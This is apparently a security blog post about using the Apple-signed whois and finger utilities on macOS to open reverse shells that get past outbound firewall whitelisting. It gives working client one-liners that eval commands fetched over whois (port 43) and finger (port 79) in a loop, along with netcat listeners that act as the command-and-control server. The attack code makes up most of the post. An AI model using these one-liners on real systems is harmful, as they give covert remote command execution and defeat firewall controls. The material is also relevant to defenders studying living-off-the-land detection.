Using Whois and Finger for reverse shells


In the presentation Fire & Ice: Making and Breaking macOS Firewalls, Patrick Wardle mentioned the idea of using binaries signed by Apple to by-pass firewall checks for outbound traffic. As an example, he mentioned whois. I thought it would be interesting to throw together a one-liner reverse shell that uses whois to do the socket handling. In addition to whois, what other system utilities can be used.

The Whois protocol

The whois protocol is very simple TCP-based query/response protocol. Everything is sent as plain-text and by default, port 43 is used. An example request is shown below:

   client                           server at
   open TCP   ---- (SYN) ------------------------------>
              <---- (SYN+ACK) --------------------------
   send query ---- "Smith<CR><LF>" -------------------->
   get answer <---- "Info about Smith<CR><LF>" ---------
              <---- "More info about Smith<CR><LF>" ----
   close      <---- (FIN) ------------------------------
              ----- (FIN) ---------------------------->

The client sends a query to the server. The query ends with a \r\n. The server sends the response back to the client. The response can contain multiple lines that are indicated with the line ending characters \r\n. The server signals to the client of the end of the response by closing the socket.

macOS’s Whois binary

The whois binary on macOS is signed by Apple, so it might be possible to use the binary to by-pass whitelisting restrictions.

$ codesign -dvvvv /usr/bin/whois
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=256 flags=0x0(none) hashes=4+2 location=embedded
Platform identifier=4
Hash type=sha256 size=32
CandidateCDHash sha256=2e6eb62ebb7a0491befa818c211f30d76967e44e
Hash choices=sha256
Page size=4096
Signature size=4485
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=1 size=64

Reverse shell using whois


Due to restrictions with the protocol, we can’t open a bidirectional stream. Instead, we need to capture the data in a variable so we have access to it when we invoke whois. The idea is as follow:

  1. Send a request to the server.
  2. Evaluate the command received by the server.
  3. Capture the input so we can send it to the server via another whois request.

We also have to ensure some data is always sent to the server when whois is invoked. Otherwise, an error is returned.

Putting it all together you get the following line to connect to a C2 server listing at

export X=Connected; while true; do X=`eval $(whois -h -- "Output: $X")`; sleep 1; done


On the server-side we can just use netcat as a POC implementation:

while true; do nc -l 43; done

Netcat runs in a while loop because we need to close the socket to signal the end of each command. Once a client has connected, type a command followed by pressing enter and Ctrl+d to close STDIN. When STDIN is closed, netcat closes the socket and exits.

Use finger instead of whois

A default install of macOS also includes finger what can be used to send and receive data from a server.

The finger protocol

For our purpose, the finger protocol is very similar to the whois protocol. It’s query based over TCP. It uses port 79 by default.

Reverse shell using finger


We can use the similar structure as the client line for whois. The finger implementation for macOS prints some status messages to STDOUT so some grep/sed is needed to filter out the command sent from the server.

Client line for connecting to a C2 located at

export X=Connected; while true; do X=`eval $(finger "$X" 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done


The server is similar to the whois server:

while true; do nc -l 79; done

When sending a command to the client, we need to indicate where it starts and where it ends. The client line above expecting the command line to start with !. The end of the command is signaled by closing the socket by pressing Ctrl+d. For example to list the temp directory, type !ls /tmp followed by an enter press and Ctrl+d.